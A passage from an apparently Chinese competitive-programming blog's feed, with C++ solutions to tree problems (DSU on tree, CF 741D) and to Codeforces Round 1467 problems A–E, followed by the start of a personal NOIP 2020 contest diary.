void dfs1( int cur, int la ) {
    son[cur] = 1;
    for( int i = ehead[cur]; i; i = e[i].next ) {
        int to = e[i].to;
        if( to == la )
            continue;
        dfs1( to, cur );
        son[cur] += son[to];
        if( son[ mson[cur] ] &amp;lt; son[to] )
            mson[cur] = to;
    }
}

void dfs2( int cur, int la, std::map&amp;lt;int, int&amp;gt; &amp;amp;sum, long long &amp;amp;res, int &amp;amp;max_cnt, bool valid ) {
    int cur_col = col[cur];

    if( valid ) {
        for( int i = ehead[cur]; i; i = e[i].next ) {
            int to = e[i].to;
            if( to == la || to == mson[cur] )
                continue;
            long long tmp_res = 0; int tmp_cnt = 0;
            std::map&amp;lt;int, int&amp;gt; mp;
            dfs2( to, cur, mp, tmp_res, tmp_cnt, valid &amp;amp;&amp;amp; true );
        }
    }

    if( mson[cur] ) {
        dfs2( mson[cur], cur, sum, res, max_cnt, valid &amp;amp;&amp;amp; true );
    }

    for( int i = ehead[cur]; i; i = e[i].next ) {
        int to = e[i].to;
        if( to == la || to == mson[cur] )
            continue;
        dfs2( to, cur, sum, res, max_cnt, false );
    }

    sum[cur_col] ++;
    if( sum[cur_col] &amp;gt; max_cnt ) {
        max_cnt = sum[cur_col];
        res = cur_col;
    }
    else if( sum[cur_col] == max_cnt ) {
        res += cur_col;
    }

    if( valid ) {
        ans[cur] = res;
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;col[i] );
    }
    for( int i = 1; i &amp;lt; n; i ++ ) {
        int u, v;
        scanf( &quot;%d%d&quot;, &amp;amp;u, &amp;amp;v );
        add_edge( u, v );
        add_edge( v, u );
    }

    dfs1( 1, 0 );

    {
        long long tmp1 = 0; int tmp2 = 0;
        std::map&amp;lt;int, int&amp;gt; sum;
        dfs2( 1, 0, sum, tmp1, tmp2, true );
    }

    for( int i = 1; i &amp;lt;= n; i ++ ) {
        printf( &quot;%lld &quot;, ans[i] );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 CF 741D&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://codeforces.com/problemset/problem/741/D&quot;&gt;https://codeforces.com/problemset/problem/741/D&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;思路&lt;/h4&gt;
&lt;p&gt;首先，题目只提供了 &lt;code&gt;a&lt;/code&gt; - &lt;code&gt;v&lt;/code&gt; 22 个字符。&lt;/p&gt;
&lt;p&gt;注意到要求重排序后可以作为回文串即满足要求。&lt;/p&gt;
&lt;p&gt;所以，考虑状压每个字符出现的次数的奇偶性作为状态，令 $a_i$ 表示从根到节点 $i$ 的状态。&lt;/p&gt;
&lt;p&gt;对于任意的两个节点 $x,y$，令 $z = a_x \textbf{xor} a_y$, 当且仅当 $z$ 在二进制等于 $1$ 的位数 $\leq 1$ 时，两个节点之间的路径满足要求。&lt;/p&gt;
&lt;p&gt;考虑维护经过每个点的最长序列，暴力维护是 $O(n^2)$，套个启发式合并就是 $O(n\log(n) \times 23)$（OI Wiki 上说是 $O(n\log^2(n))$，但是我觉得有问题）&lt;/p&gt;
&lt;h4&gt;Code&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2021/01/27 23:32:07
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 5e5 + 1e4;

int n, idx = 0;
int ans[N], val[N];
char str[N];

// Edge Start
struct edge {
    int to, next;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
inline void add_edge( int cur, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[cur];
    ehead[cur] = ecnt;
}
// Edge End

int size[N], mson[N], dep[N];

void dfs1( int cur, int la ) {
    size[cur] = 1; dep[cur] = dep[la] + 1;
    if( cur != 1 )
        val[cur] = val[la] ^ ( 1 &amp;lt;&amp;lt; ( str[cur] - &apos;a&apos; ) );
    for( int i = ehead[cur]; i; i = e[i].next ) {
        int to = e[i].to;
        if( to == la )
            continue;
        dfs1( to, cur );
        size[cur] += size[to];
        if( size[ mson[cur] ] &amp;lt; size[to] )
            mson[cur] = to;
    }
}

int dfn[N], re_dfn[N];
void dfs2( int cur, int la, int fa, int chk[], bool valid ) {
    int cur_val = val[cur];
    if( valid ) {
        idx ++;
        dfn[cur] = idx; re_dfn[idx] = cur;
        for( int i = ehead[cur]; i; i = e[i].next ) {
            int to = e[i].to;
            if( to == la || to == mson[cur] )
                continue;
            dfs2( to, cur, to, chk, true );
            for( int j = dfn[to]; j &amp;lt;= dfn[to] + size[to] - 1; j ++ ) {
                chk[ val[ re_dfn[j] ] ] = 0;
            }
        }
    }

    if( mson[cur] ) {
        int to = mson[cur];
        dfs2( to, cur, valid? to: fa, chk, valid );
    }
    for( int i = ehead[cur]; i; i = e[i].next ) {
        int to = e[i].to;
        if( to == la || to == mson[cur] )
            continue;
        dfs2( to, cur, fa, chk, false );
        if( valid ) {
            for( int j = dfn[to]; j &amp;lt;= dfn[to] + size[to] - 1; j ++ ) {
                chk_Max( chk[ val[ re_dfn[j] ] ], dep[ re_dfn[j] ] );
            }
        }
    }

    for( int i = -1; i &amp;lt;= &apos;v&apos; - &apos;a&apos;; i ++ ) {
        int tmp = 0;
        if( i == -1 )
            tmp = ( 0 ^ cur_val );
        else
            tmp = ( 0 ^ ( cur_val ^ ( 1 &amp;lt;&amp;lt; i ) ) );
        int bro = chk[tmp];
        if( bro != 0 ) {
            chk_Max( ans[fa], dep[cur] + bro - 2 * dep[fa] );
        }
    }

    if( fa == cur )
        chk_Max( chk[cur_val], dep[cur] );
}

void push_up( int cur, int la ) {
    for( int i = ehead[cur]; i; i = e[i].next ) {
        int to = e[i].to;
        if( to == la )
            continue;
        push_up( to, cur );
        chk_Max( ans[cur], ans[to] );
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;d.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;d.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 2; i &amp;lt;= n; i ++ ) {
        int fa;
        char rd[3];
        scanf( &quot;%d%s&quot;, &amp;amp;fa, rd );
        add_edge( fa, i );
        str[i] = rd[0];
    }

    dfs1( 1, 0 );

    {
        int chk[ 1 &amp;lt;&amp;lt; 24 ];
        memset( chk, 0, sizeof(chk) );
        dfs2( 1, 0, 1, chk, true );
    }

    push_up( 1, 0 );

    for( int i = 1; i &amp;lt;= n; i ++ ) {
        printf( &quot;%d &quot;, ans[i] );
    }
    printf( &quot;\n&quot; );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;致谢&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://oi-wiki.org/graph/dsu-on-tree/&quot;&gt;https://oi-wiki.org/graph/dsu-on-tree/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces Round 1467 题目大意 &amp; 解题报告</title><link>https://blog.woshiluo.com/posts/2021/01/codeforces-round-1467-%E9%A2%98%E7%9B%AE%E5%A4%A7%E6%84%8F-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/01/codeforces-round-1467-%E9%A2%98%E7%9B%AE%E5%A4%A7%E6%84%8F-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Mon, 11 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;即 &lt;a href=&quot;https://codeforces.com/contest/1467&quot;&gt;Codeforces Round #695 (Div. 2)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;许久不打变得更菜了...&lt;/p&gt;
&lt;h2&gt;A. Wizard of Orz&lt;/h2&gt;
&lt;h3&gt;0 大意&lt;/h3&gt;
&lt;p&gt;给定 $n$ 个板子，每个板子上有一个相同的数字 $x ( 0 \leq x \leq 9 )$&lt;/p&gt;
&lt;p&gt;随机选择一个数字 $y(1 \leq y \leq n)$，令板子 $i$ 上的数字变成 $ x + |y - i| \pmod 10$&lt;/p&gt;
&lt;h3&gt;1 Code&lt;/h3&gt;
&lt;p&gt;显然，输出 $98{987654321}$ 的前 $n$ 位即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

int main() {
	int T;
	scanf( &quot;%d&quot;, &amp;amp;T );
	while( T -- ) {
		int n;
		scanf( &quot;%d&quot;, &amp;amp;n );
		if( n == 1 )
			printf( &quot;9&quot; );
		else {
			printf( &quot;98&quot; );
			int cur = 9;
			for( int i = 3; i &amp;lt;= n; i ++ ) {
				printf( &quot;%d&quot;, cur );
				cur ++;
				if( cur &amp;gt;= 10 )
					cur = 0;
			}
		}
		printf( &quot;\n&quot; );
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;B Hills And Valleys&lt;/h2&gt;
&lt;h3&gt;0 大意&lt;/h3&gt;
&lt;p&gt;给定一个长度为 $n$ 的序列，对于$\forall i (1 \leq i \leq n)$，如果满足 $ a_i &amp;lt; a_{i-1},a_i &amp;lt; a_{i+1} $ 或 $ a_i &amp;gt; a_{i-1}, a_i &amp;gt; a_{i+1} $ 则对答案贡献 $1$&lt;/p&gt;
&lt;p&gt;现在，你可以随意修改仅 $1$ 个数字，求最小的贡献和&lt;/p&gt;
&lt;h3&gt;1 思路&lt;/h3&gt;
&lt;p&gt;对于 $i$, 我们令 $max = \max( a_{i+1}, a{i-1} ), min = \min( a_{i+1}, a{i-1} )$&lt;/p&gt;
&lt;p&gt;则显然只有 $ a_i = { max - 1, max, max + 1, min - 1, min, min + 1}$ 六种值可能有不同的结果，其他值的结果会和这六个中的某一个相同。&lt;/p&gt;
&lt;p&gt;枚举即可&lt;/p&gt;
&lt;h3&gt;2 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;vector&amp;gt;

const long long INF = ( 1LL &amp;lt;&amp;lt; 60LL );
const long long N = 3e5 + 1e4;

long long n;
long long a[N];

bool chk( long long cur, long long left, long long rig ) {
	if( cur &amp;lt; left &amp;amp;&amp;amp; cur &amp;lt; rig )
		return true;
	if( cur &amp;gt; left &amp;amp;&amp;amp; cur &amp;gt; rig )
		return true;
	return false;
}

bool is_vaild( long long cur ) {
	return cur &amp;gt; 1 &amp;amp;&amp;amp; cur &amp;lt; n;
}

long long calc( long long cur, long long val ) {
	return ( is_vaild(cur) &amp;amp;&amp;amp; chk( val, a[ cur - 1 ], a[ cur + 1 ] ) )
		+ ( is_vaild( cur - 1 ) &amp;amp;&amp;amp; chk( a[ cur - 1 ], a[ cur - 2 ], val ) )
		+ ( is_vaild( cur + 1 ) &amp;amp;&amp;amp; chk( a[ cur + 1 ], val, a[ cur + 2 ] ) ) ;
}

int main() {
#ifdef woshiluo
	freopen( &quot;b.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;b.out&quot;, &quot;w&quot;, stdout );
#endif
	long long T;
	scanf( &quot;%lld&quot;, &amp;amp;T );
	while( T -- ) {
		long long ans = INF, raw = 0;
		scanf( &quot;%lld&quot;, &amp;amp;n );

		// Readin
		for( long long i = 1; i &amp;lt;= n; i ++ ) {
			scanf( &quot;%lld&quot;, &amp;amp;a[i] );
		}
		a[ n + 1 ] = 0;

		for( long long i = 2; i &amp;lt; n; i ++ ) {
			if( i != 1 &amp;amp;&amp;amp; i != n )
				raw += chk( a[i], a[ i - 1 ], a[ i + 1 ] );
		}

		// Calc
		for( long long i = 1; i &amp;lt;= n; i ++ ) {
			long long min = std::min( a[ i - 1 ], a[ i + 1 ] );
			long long max = std::max( a[ i - 1 ], a[ i + 1 ] );

			long long res = INF;
			res = std::min( res, calc( i, min - 1 ) );
			res = std::min( res, calc( i, min ) );
			res = std::min( res, calc( i, min + 1 ) );
			res = std::min( res, calc( i, max - 1 ) );
			res = std::min( res, calc( i, max ) );
			res = std::min( res, calc( i, max + 1 ) );

			ans = std::min( ans, raw - ( calc( i, a[i] ) - res ) );
		}

		printf( &quot;%lld\n&quot;, ans );
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;C Three Bags&lt;/h2&gt;
&lt;h3&gt;1 大意&lt;/h3&gt;
&lt;p&gt;三个集合，你可以从一个集合中取出一个数 $a$,从另一个集合中取出一个数字 $b$, 将 $a-b$ 放回第一个集合&lt;/p&gt;
&lt;p&gt;求最后剩下的数字的最大值&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;将这个减少的关系建成图之后，容易发现，答案无非是两种情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;两个集合的和减去另一个集合的和&lt;/li&gt;
&lt;li&gt;所有数字减去两个不同集合的最小数字&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那么都试一下就可以&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/// Woshiluo
/// Email: woshiluo.luo [at] outlook.com
/// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const long long LLF = 1e18;
const int INF = 0x3f3f3f3f;

template&amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template&amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template&amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( a &amp;gt; b ) a = b; }
template&amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( a &amp;lt; b ) a = b; }

int n[3];
std::vector&amp;lt;long long&amp;gt; a[3];

int main() {
	scanf( &quot;%d%d%d&quot;, &amp;amp;n[0], &amp;amp;n[1], &amp;amp;n[2] );
	long long min = LLF, tot = 0;
	for( int j = 0; j &amp;lt; 3; j ++ ) {
		long long sum = 0;
		for( int i = 1; i &amp;lt;= n[j]; i ++ ) {
			int tmp;
			scanf( &quot;%d&quot;, &amp;amp;tmp );
			a[j].push_back(tmp);
			sum += tmp;
		}
		tot += sum;
		chk_Min(min, sum);
		std::sort(a[j].begin(), a[j].end());
	}

	for( int i = 0; i &amp;lt; 3; i ++ ) {
		for( int j = i + 1; j &amp;lt; 3; j ++ ) {
			chk_Min( min, a[i][0] + a[j][0] );
		}
	}

	printf( &quot;%lld\n&quot;, tot - 2LL * min );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;D Sum of Paths&lt;/h2&gt;
&lt;h3&gt;1 大意&lt;/h3&gt;
&lt;p&gt;机器人可以且仅可以向左或向右走，每个点有权值，机器人可以走 $k$ 步，起点任意，求机器人所有的可能的路径的权值的和&lt;/p&gt;
&lt;p&gt;令路径的权值为其经过所有点的点权和（如果一个点经过了多次，则多次计算）&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;显然每一个点对答案造成的贡献的次数是恒定的，求出这个次数即即可&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo
// Email: woshiluo.luo [at] outlook.com
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template&amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template&amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( a &amp;gt; b ) a = b; }
template&amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( a &amp;lt; b ) a = b; }

const int N = 5100;
const int mod = 1e9 + 7;

struct ModInt {
	int cur;
	ModInt( int _cur = 0 ) { cur = (((_cur % mod) + mod) % mod); }
	ModInt operator +( const ModInt &amp;amp;b ) const { return (cur + b.cur) % mod; }
	ModInt operator *( const ModInt &amp;amp;b ) const { return (1LL * cur * b.cur) % mod; }
	bool operator !=( const ModInt &amp;amp;b ) const { return cur != b.cur; }
	void operator +=( const ModInt &amp;amp;b ) {
		cur += b.cur;
		if( cur &amp;gt;= mod )
			cur -= mod;
	}
	void operator *=( const ModInt &amp;amp;b ) {
		cur = ( 1LL * cur * b.cur ) % mod;
	}
	void output( char end = &apos;\n&apos; ) {
		printf( &quot;%d%c&quot;, ( cur + mod ) % mod, end );
	}
};

int n, k, q;
ModInt f[N][N], a[N], p[N];

int main() {
#ifdef woshiluo
	freopen( &quot;d.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;d.out&quot;, &quot;w&quot;, stdout );
#endif

	scanf( &quot;%d%d%d&quot;, &amp;amp;n, &amp;amp;k, &amp;amp;q );
	for( int i = 1; i &amp;lt;= n; i ++ ) {
		int tmp;
		scanf( &quot;%d&quot;, &amp;amp;tmp );
		a[i] = tmp;
		f[0][i] = 1;
	}

	for( int i = 1; i &amp;lt;= k; i ++ ) {
		int la = i - 1;
		for( int j = 1; j &amp;lt;= n; j ++ ) {
			f[i][j] = f[la][ j - 1 ] + f[la][ j + 1 ];
		}
	}

	for( int i = 1; i &amp;lt;= n; i ++ ) {
		for( int j = 0; j &amp;lt;= k; j ++ ) {
			p[i] += f[j][i] * f[ k - j ][i];
		}
	}

	ModInt ans = 0;
	for( int i = 1; i &amp;lt;= n; i ++ ) {
		ans += a[i] * p[i];
	}
	while( q -- ) {
		int pos, val;
		scanf( &quot;%d%d&quot;, &amp;amp;pos, &amp;amp;val );
		ans += a[pos] * p[pos] * -1;
		a[pos] = val;
		ans += a[pos] * p[pos];
		ans.output();
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Distinctive Roots in a Tree&lt;/h2&gt;
&lt;h3&gt;1 题目大意&lt;/h3&gt;
&lt;p&gt;每个节点有一个给定的权值，如果一个根到所有节点的路径上的点的权值没有重复，，则我们称这个节点为好根，求好根个数&lt;/p&gt;
&lt;p&gt;带修，只修改一个点&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;容易发现，如果一个节点的权值已经出现过，那么只有两种状况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;两个节点没有父子内，则两个节点的字数都不可能为好根&lt;/li&gt;
&lt;li&gt;两个节点有父子关系，则只有两个节点之间的节点可以为好根&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;容易发现这个可以通过树上差分维护&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/// Woshiluo
/// Email: woshiluo.luo [at] outlook.com
/// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;map&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template&amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template&amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( a &amp;gt; b ) a = b; }
template&amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( a &amp;lt; b ) a = b; }

const int N = 2e5 + 1e4;

// Edge Start
struct edge {
	int to, next;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
inline void add_edge( int cur, int to ) {
	ecnt ++;
	e[ecnt].to = to;
	e[ecnt].next = ehead[cur];
	ehead[cur] = ecnt;
}
// Edge End

int n;
int a[N], sum[N];

inline void add( int from, int to, int val ) {
	sum[from] += val;
	sum[to + 1] -= val;
}

int dfn[N], size[N], la[N], idx;
bool vis[N];
void dfs( int cur, int fa ) {
	idx ++; dfn[cur] = idx; size[cur] = 1;
	vis[cur] = true;

	bool flag = false;
	if( la[ a[cur] ] ) {
		flag = true;
		if( vis[ la[ a[cur] ] ] == false ) {
			int aot = la[ a[cur] ];
			add( dfn[aot], dfn[aot] + size[aot] - 1, 1 );
		}
	}
	la[ a[cur] ] = cur;

	for( int i = ehead[cur]; i; i = e[i].next ) {
		if( e[i].to == fa )
			continue;
		dfs( e[i].to, cur );
		size[cur] += size[ e[i].to ];
		if( la[ a[cur] ] != cur ) {
			add( 1, n, 1 );
			add( dfn[ e[i].to ], dfn[ e[i].to ] + size[ e[i].to ] - 1, -1 );
		}
		la[ a[cur] ] = cur;
	}

	if( flag )
		add( dfn[cur], dfn[cur] + size[cur] - 1, 1 );
	vis[cur] = false;
}

int main() {
#ifdef woshiluo
	freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
	scanf( &quot;%d&quot;, &amp;amp;n );
	int cnt = 0;
	std::map&amp;lt;int, int&amp;gt; mp;
	for(int i = 1; i &amp;lt;= n; i ++) {
		scanf( &quot;%d&quot;, &amp;amp;a[i] );
		if( mp.count(a[i]) )
			a[i] = mp[ a[i] ];
		else {
			cnt ++;
			mp[ a[i] ] = cnt;
			a[i] = cnt;
		}
	}
	for(int i = 1; i &amp;lt; n; i ++) {
		int u, v;
		scanf(&quot;%d%d&quot;, &amp;amp;u, &amp;amp;v);
		add_edge(u, v);
		add_edge(v, u);
	}

	dfs(1, 0);

	int ans = 0;
	for( int i = 1; i &amp;lt;= n; i ++ ) {
		sum[i] += sum[ i - 1 ];
		if( sum[i] == 0 )  {
			ans ++;
		}
	}

	printf( &quot;%d\n&quot;, ans );

}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>NOIP 2020 游记</title><link>https://blog.woshiluo.com/posts/2020/12/noip-2020-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/12/noip-2020-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Mon, 07 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 说在之前&lt;/h2&gt;
&lt;p&gt;本来把，今年是没有打算写 NOIP 游记的&lt;/p&gt;
&lt;p&gt;但是题目实在是太神仙了，所以还是来写写把&lt;/p&gt;
&lt;h2&gt;-2 Day -1&lt;/h2&gt;
&lt;p&gt;传统是周五中午吃香锅，结果拜疫情所赐，现在中午是吃不了香锅了（现在连三楼香锅都没得了&amp;lt;(%&amp;gt;_&amp;lt;%)&amp;gt;）&lt;/p&gt;
&lt;p&gt;于是就周三吃了&lt;/p&gt;
&lt;p&gt;Rush 到食堂，环视一圈。诶，怎么就我一个高一的来了。&lt;/p&gt;
&lt;p&gt;算了，和高三一起恰就行了。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;-1 Day 0&lt;/h2&gt;
&lt;p&gt;本来早上还想学点东西，人来齐后&lt;/p&gt;
&lt;p&gt;狼人杀&lt;/p&gt;
&lt;p&gt;这次的准考证不是选手打印了 -- 是学校打印，人裂开来&lt;/p&gt;
&lt;p&gt;贴照片，盖章，回家&lt;/p&gt;
&lt;h2&gt;1 Day 1&lt;/h2&gt;
&lt;h3&gt;1 清晨&lt;/h3&gt;
&lt;p&gt;今年和往年不一样，前往的并非往熟悉的七十中，而是八一中学&lt;/p&gt;
&lt;p&gt;总之是件好事，起码从 Windows XP 变成了 Windows 7 （虽然还是 32 bit）（虽然还是不是 NOI Linux）&lt;/p&gt;
&lt;p&gt;不过坏处大概是离家远了&lt;/p&gt;
&lt;p&gt;和以往考试一样的洋葱面下肚，踏上雪地，前往考场&lt;/p&gt;
&lt;p&gt;到了门口，发现刚好拍完照。行呗，又被开除了。&lt;/p&gt;
&lt;p&gt;教练给了个巧克力，刚好没&lt;/p&gt;
&lt;p&gt;Arcahv 让我给他带瓶水，直接安排了瓶 2L 的 (｡◕∀◕｡)&lt;/p&gt;
&lt;h3&gt;2 考试&lt;/h3&gt;
&lt;p&gt;8:30 题目下发&lt;/p&gt;
&lt;p&gt;虽然还是极域下发的文件，不过这次好歹是踏点下发的&lt;/p&gt;
&lt;p&gt;尝试用 Google Chrome 打开这个 PDF，结果电脑给我卡死了……&lt;/p&gt;
&lt;p&gt;反正经历了 10 min 左右的事故时间，总算可以开始写题了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;T1 一眼往过去拓扑排序，感觉 long long 模拟分数似乎会 boom，但是不这么写也没得办法，不管了&lt;/li&gt;
&lt;li&gt;T2 一看字符串，完蛋，想了一会儿似乎可以二维偏序累计贡献？不管，先跳&lt;/li&gt;
&lt;li&gt;T3 翻到数据范围，诶数据范围呢？再往下一看 &lt;code&gt;checker.cpp&lt;/code&gt;,完蛋&lt;/li&gt;
&lt;li&gt;T4 一眼过去 30 pts，仔细一看 $k=1$ 似乎可写？&lt;/li&gt;
&lt;li&gt;回去看 T2，发现可以枚举 C，仔细思考了一阵子发现 $\sum \frac{n}{i} = O(n\ln n)$ 海星，然后套个 $\leq 26$ 的二维偏序就可以了，不过似乎在极限情况下会被卡常？&lt;/li&gt;
&lt;li&gt;回头爆推 &lt;code&gt;ball&lt;/code&gt;，写了 150+ 行，然后发现第一个样例都过不了，挣扎了一阵子发现没得时间了，跑了&lt;/li&gt;
&lt;li&gt;T4 写了 30 pts 跑路，判 &lt;code&gt;-1&lt;/code&gt; 的方法是看累计答案的时候什么时候到了 $2 \times 10^8$，感觉危？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后就没得时间了……&lt;/p&gt;
&lt;p&gt;希望全部寄托在 CCF 的 &lt;code&gt;i7-8700k&lt;/code&gt; 上了，只要 CCF 一秒能跑 $10^{10^8}$, 我就能 290（？）&lt;/p&gt;
&lt;p&gt;总之考完期望分数在 $100 + [84,100] + 0 + 30=[206,230]$&lt;/p&gt;
&lt;p&gt;出考场和 ldd 一起扯皮，然后两个人一对，差不多&lt;/p&gt;
&lt;p&gt;反正大家都没人做出来 ball 的一点部分&lt;/p&gt;
&lt;h3&gt;3 下午&lt;/h3&gt;
&lt;p&gt;之前和 Arcahv 说好了下午一起玩&lt;/p&gt;
&lt;p&gt;总之和 StudyingFather 一起走到了兵一那边，然后去了附近的一家饭店，我要了个米粉鱼排对半，结果发现 Arcahv 不恰辣，要了个西红柿炒鸡蛋拌面（为什么会有这种东西？）&lt;/p&gt;
&lt;p&gt;然后就开始关注今天的题目，看了眼各个群，发现 T1 能构造出来 $60^{11}$ 的数据？&lt;/p&gt;
&lt;p&gt;我震撼？然后奠定了这一下午的聊天基调……&lt;/p&gt;
&lt;p&gt;吃完饭绕到八一另一边的门，有一家奶茶店,进去看了眼菜单，发现这里面没什么知道的东西&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「那我要乌龙」 「纯茶是吗，全糖还是半糖？」 「能不要糖吗？」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是就变成纯喝茶了，看 Arachv 要了个什么奇奇怪怪的奶茶，也不晓得什么味道&lt;/p&gt;
&lt;p&gt;然后就尝试构造 $60^{11}$ 的数据，构造了半天也没弄出来，然后就转手看他们数竞的题目了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「这也能证？」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;后来跑肚了，就直接回家了，没拿纯茶里的泡袋茶可惜&lt;/p&gt;
&lt;h3&gt;4 晚上&lt;/h3&gt;
&lt;p&gt;回去发现有的省代码已经下发了，然后就去问教练要 等了一会儿，教练居然发了？我震撼&lt;/p&gt;
&lt;p&gt;跑去上 Luogu 测试一把，T1 挂了 10pts，T2 被卡常一个点，T3 T4 无事发生。&lt;/p&gt;
&lt;p&gt;整理一下发现还算在预料以内&lt;/p&gt;
&lt;p&gt;看了一下其他选手的代码，发现似乎没人写出 T2 和 T3 ?&lt;/p&gt;
&lt;h2&gt;2 Day +1&lt;/h2&gt;
&lt;p&gt;中午随便吃了点东西冲到学校&lt;/p&gt;
&lt;p&gt;翻了好久没有找到民间数据&lt;/p&gt;
&lt;p&gt;于是自己动手丰衣足食，自己造了个巨大水的数据&lt;/p&gt;
&lt;p&gt;拿去测了一下，发现数据这么水还是没有人上 200（&lt;/p&gt;
&lt;p&gt;测完发现 Luogu 的数据也公布了，也测了一下&lt;/p&gt;
&lt;h2&gt;3 Day +2&lt;/h2&gt;
